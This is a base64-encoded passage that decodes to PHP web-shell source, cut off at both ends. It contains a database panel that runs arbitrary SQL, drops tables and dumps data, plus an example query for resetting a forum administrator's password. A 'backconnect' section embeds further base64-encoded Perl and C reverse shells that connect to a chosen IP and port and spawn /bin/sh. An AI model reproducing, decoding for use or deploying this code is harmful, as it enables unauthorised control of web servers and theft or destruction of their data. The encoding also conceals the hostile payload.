dldCBteXNxbCBzZXJ2ZXIKCQkkbXlzcWx2ZXIgPSBteXNxbF9nZXRfc2VydmVyX2luZm8oKTsKCQlwKCc8cD5NeVNRTCAnLiRteXNxbHZlci4nIHJ1bm5pbmcgaW4gJy4kZGJob3N0LicgYXMgJy4kZGJ1c2VyLidAJy4kZGJob3N0Lic8L3A+Jyk7CgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOwoKCQkvLyBTaG93IGRhdGFiYXNlCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsKCQkkZGJzID0gYXJyYXkoKTsKCQkkZGJzW10gPSAnLS0gU2VsZWN0IGEgZGF0YWJhc2UgLS0nOwoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFzZSddOwoJCX0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsKCQkkdGFibGVkYiA9IGFycmF5KCk7CgkJaWYgKCRkYm5hbWUpIHsKCQkJcCgnPHA+Jyk7CgkJCXAoJ0N1cnJlbnQgZGFiYWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUpIHsKCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsKCQkJfQoJCQlwKCc8L3A+Jyk7CgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsKCgkJCSRnZXRudW1zcWwgPSAnJzsKCQkJJHJ1bnF1ZXJ5ID0gMDsKCQkJaWYgKCRzcWxfcXVlcnkpIHsKCQkJCSRydW5xdWVyeSA9IDE7CgkJCX0KCQkJJGFsbG93ZWRpdCA9IDA7CgkJCWlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7CgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJCQkkZ2V0bnVtc3FsID0gJHNxbF9xdWVyeTsKCQkJCSRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7CgkJCQkkYWxsb3dlZGl0ID0gMTsKCQkJfQoJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsKCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSA8Zm9udCBjb2xvcj1yZWQ+PGI+Jy4kZGJuYW1lLic8L2ZvbnQ+PC9iPjo8QlI+RXhhbXBsZSBWQkIgUGFzc3dvcmQ6IDxmb250IGNvbG9yPXJlZD52YmF0ZWFtPC9mb250PjxCUj48Zm9udCBjb2xvcj15ZWxsb3c+VVBEQVRFIGB1c2VyYCBTRVQgYHBhc3N3b3JkYCA9IFwnNjllNTNlNWFiOTUzNmU1NWQzMWZmNTMzYWVmYzRmYmVcJywgc2FsdCA9IFwncDVUXCcgV0hFUkUgYHVzZXJpZGAgPSBcJzFcJyA8L2ZvbnQ+CgkJCTwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7CgkJCW1ha2VoaWRlKCd0YWJsZW5hbWUnLCAkdGFibGVuYW1lKTsKCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CgkJCXAoJGRiZm9ybSk7CgkJCXAoJzwvZm9ybT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRydW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgewoJCQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgewoJCQkJCSRyZXN1bHQgPSBxKCJTSE9XIENPTFVNTlMgRlJPTSAkdGFibGVuYW1lIik7CgkJCQkJJHJvd2RiID0gYXJyYXkoKTsKCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7CgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsKCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPk51bGw8L3RkPicpOwoJCQkJCXAoJzx0ZD5LZXk8L3RkPicpOwoJCQkJCXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsKCQkJCQlwKCc8dGQ+RXh0cmE8L3RkPicpOwoJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsKCQkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0ZpZWxkJ10uJzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ1R5cGUnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydLZXknXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snRGVmYXVsdCddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8L3RyPicpOwoJCQkJCX0KCQkJCQl0YmZvb3QoKTsKCQkJCX0gZWxzZWlmICgkZG9pbmcgPT0gJ2luc2VydCcgfHwgJGRvaW5nID09ICdlZGl0JykgewoJCQkJCSRyZXN1bHQgPSBxKCdTSE9XIENPTFVNTlMgRlJPTSAnLiR0YWJsZW5hbWUpOwoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQkkcnMgPSBhcnJheSgpOwoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsKCQkJCQkJcCgnPGgyPkluc2VydCBuZXcgbGluZSBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlwKCc8aDI+VXBkYXRlIHJlY29yZCBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsKCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOwoJCQkJCQkkcnMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsKCQkJCQl9CgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7CgkJCQkJcCgkZGJmb3JtKTsKCQkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsKCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7CgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsKCQkJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHJzWyRyb3dbJ0ZpZWxkJ11dKTsKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCSR2YWx1ZSA9ICcnOwoJCQkJCQl9CgkJCQkJCSR0aGlzYmcgPSBiZygpOwoJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOwoJCQkJCQlwKCc8dGQ+PGI+Jy4kcm93WydGaWVsZCddLic8L2I+PGJyIC8+Jy4kcm93WydUeXBlJ10uJzwvdGQ+PHRkPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgbmFtZT0iaW5zZXJ0c3FsWycuJHJvd1snRmllbGQnXS4nXSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDo2MHB4O292ZXJmbG93OmF1dG87Ij4nLiR2YWx1ZS4nPC90ZXh0YXJlYT48L3RkPjwvdHI+Jyk7CgkJCQkJfQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsKCQkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0Ij48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJpbnNlcnQiIHZhbHVlPSJJbnNlcnQiIC8+PC90ZD48L3RyPicpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0idXBkYXRlIiB2YWx1ZT0iVXBkYXRlIiAvPjwvdGQ+PC90cj4nKTsKCQkJCQkJbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOwoJCQkJCX0KCQkJCQlwKCc8L3RhYmxlPjwvZm9ybT4nKTsKCQkJCX0gZWxzZSB7CgkJCQkJJHF1ZXJ5cyA9IEBleHBsb2RlKCc7Jywkc3FsX3F1ZXJ5KTsKCQkJCQlmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSB7CgkJCQkJCWlmICgkcXVlcnkpIHsKCQkJCQkJCXAoIjxwPjxiPlF1ZXJ5I3skbnVtfSA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUykuIjwvYj48L3A+Iik7CgkJCQkJCQlzd2l0Y2gocXkoJHF1ZXJ5KSkKCQkJCQkJCXsKCQkJCQkJCQljYXNlIDA6CgkJCQkJCQkJCXAoJzxoMj5FcnJvciA6ICcubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsKCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJY2FzZSAxOgoJCQkJCQkJCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsKCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOwoJCQkJCQkJCQl9CgkJCQkJCQkJCWlmICgkZ2V0bnVtc3FsKSB7CgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwpKTsKCQkJCQkJCQkJCSRtdWx0aXBhZ2UgPSBtdWx0aSgkdGF0b2wsICRwYWdlbnVtLCAkcGFnZSwgJHRhYmxlbmFtZSk7CgkJCQkJCQkJCX0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iLCAiXHQiKSwgYXJyYXkoJyAnLCAnICcsICcgJyksIHRyaW0oaHRtbHNwZWNpYWxjaGFycygkcXVlcnkpKSk7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIgIiwgJHNxbF9saW5lKTsKCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShbXHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsKCQkJCQkJCQkJCSR0YWJsZW5hbWUgPSAkbWF0Y2hlc1sxXVswXTsKCQkJCQkJCQkJfQoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVlcnkpOwoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkPkFjdGlvbjwvdGQ+Jyk7CgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwoJCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7CgkJCQkJCQkJCQkkbmFtZSA9IEBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJcCgiPHRkIG5vd3JhcD4kbmFtZTxicj48c3Bhbj4kdHlwZSgkbGVuKTwvc3Bhbj48L3RkPiIpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCXdoaWxlKCRtbiA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7CgkJCQkJCQkJCQkkdGhpc2JnID0gYmcoKTsKCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7CgkJCQkJCQkJCQkkd2hlcmUgPSAkdG1wID0gJGIxID0gJyc7CgkJCQkJCQkJCQlmb3JlYWNoKCRtbiBhcyAka2V5PT4kaW5zaWRlKXsKCQkJCQkJCQkJCQlpZiAoJGluc2lkZSkgewoJCQkJCQkJCQkJCQkkd2hlcmUgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkaW5zaWRlKS4iJyI7CgkJCQkJCQkJCQkJCSR0bXAgPSAnIEFORCAnOwoJCQkJCQkJCQkJCX0KCQkJCQkJCQkJCQkkYjEgLj0gJzx0ZCBub3dyYXA+Jy5odG1sX2NsZWFuKCRpbnNpZGUpLicmbmJzcDs8L3RkPic7CgkJCQkJCQkJCQl9CgkJCQkJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZW5jb2RlKCR3aGVyZSk7CgkJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdlZGl0XCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RWRpdDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdkZWxcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5EZWw8L2E+PC90ZD4nKTsKCQkJCQkJCQkJCXAoJGIxKTsKCQkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCQl1bnNldCgkYjEpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXRiZm9vdCgpOwoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlicmVhazsKCQkJCQkJCQljYXNlIDI6CgkJCQkJCQkJCSRhciA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoKTsKCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7CgkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9IGVsc2UgewoJCQkJJHF1ZXJ5ID0gcSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsKCQkJCSR0YWJsZV9udW0gPSAkdGFibGVfcm93cyA9ICRkYXRhX3NpemUgPSAwOwoJCQkJJHRhYmxlZGIgPSBhcnJheSgpOwoJCQkJd2hpbGUoJHRhYmxlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgewoJCQkJCSRkYXRhX3NpemUgPSAkZGF0YV9zaXplICsgJHRhYmxlWydEYXRhX2xlbmd0aCddOwoJCQkJCSR0YWJsZV9yb3dzID0gJHRhYmxlX3Jvd3MgKyAkdGFibGVbJ1Jvd3MnXTsKCQkJCQkkdGFibGVbJ0RhdGFfbGVuZ3RoJ10gPSBzaXplY291bnQoJHRhYmxlWydEYXRhX2xlbmd0aCddKTsKCQkJCQkkdGFibGVfbnVtKys7CgkJCQkJJHRhYmxlZGJbXSA9ICR0YWJsZTsKCQkJCX0KCQkJCSRkYXRhX3NpemUgPSBzaXplY291bnQoJGRhdGFfc2l6ZSk7CgkJCQl1bnNldCgkdGFibGUpOwoJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOwoJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CgkJCQlwKCRkYmZvcm0pOwoJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsKCQkJCXAoJzx0ZCB3aWR0aD0iMiUiIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD4nKTsKCQkJCXAoJzx0ZD5OYW1lPC90ZD4nKTsKCQkJCXAoJzx0ZD5Sb3dzPC90ZD4nKTsKCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Q3JlYXRlX3RpbWU8L3RkPicpOwoJCQkJcCgnPHRkPlVwZGF0ZV90aW1lPC90ZD4nKTsKCQkJCWlmICgkaGlnaHZlcikgewoJCQkJCXAoJzx0ZD5FbmdpbmU8L3RkPicpOwoJCQkJCXAoJzx0ZD5Db2xsYXRpb248L3RkPicpOwoJCQkJfQoJCQkJcCgnPC90cj4nKTsKCQkJCWZvcmVhY2ggKCR0YWJsZWRiIGFzICRrZXkgPT4gJHRhYmxlKSB7CgkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsKCQkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjIlIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InRhYmxlW10iIHZhbHVlPSInLiR0YWJsZVsnTmFtZSddLiciIC8+PC90ZD4nKTsKCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1Jvd3MnXS4nPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0RhdGFfbGVuZ3RoJ10uJzwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydDcmVhdGVfdGltZSddLic8L3RkPicpOwoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnVXBkYXRlX3RpbWUnXS4nPC90ZD4nKTsKCQkJCQlpZiAoJGhpZ2h2ZXIpIHsKCQkJCQkJcCgnPHRkPicuJHRhYmxlWydFbmdpbmUnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHRhYmxlWydDb2xsYXRpb24nXS4nPC90ZD4nKTsKCQkJCQl9CgkJCQkJcCgnPC90cj4nKTsKCQkJCX0KCQkJCXAoJzx0ciBjbGFzcz1mb3V0PicpOwoJCQkJcCgnPHRkPiZuYnNwOzwvdGQ+Jyk7CgkJCQlwKCc8dGQ+VG90YWwgdGFibGVzOiAnLiR0YWJsZV9udW0uJzwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Jy4kdGFibGVfcm93cy4nPC90ZD4nKTsKCQkJCXAoJzx0ZD4nLiRkYXRhX3NpemUuJzwvdGQ+Jyk7CgkJCQlwKCc8dGQgY29sc3Bhbj0iJy4oJGhpZ2h2ZXIgPyA0IDogMikuJyI+Jm5ic3A7PC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgoJCQkJcCgiPHRyIGNsYXNzPVwiZm91dFwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOwoJCQkJbWFrZWhpZGUoJ2RvaW5nJywnYmFja3VwbXlzcWwnKTsKCQkJCWZvcm1mb290KCk7CgkJCQlwKCI8L3RhYmxlPiIpOwoJCQkJZnIoJHF1ZXJ5KTsKCQkJfQoJCX0KCX0KCXRiZm9vdCgpOwoJQG15c3FsX2Nsb3NlKCk7Cn0vL2VuZCBzcWwgYmFja3VwCgoKZWxzZWlmICgkYWN0aW9uID09ICdiYWNrY29ubmVjdCcpIHsKCSEkeW91cmlwICYmICR5b3VyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsKCSR1c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsKCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4KCQkiYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIuCgkJImhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QiLgoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4KCQkia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaSIuCgkJIktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwiLgoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMiLgoJCSJCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliIi4KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuCgkJIktTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoiLgoJCSJzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkx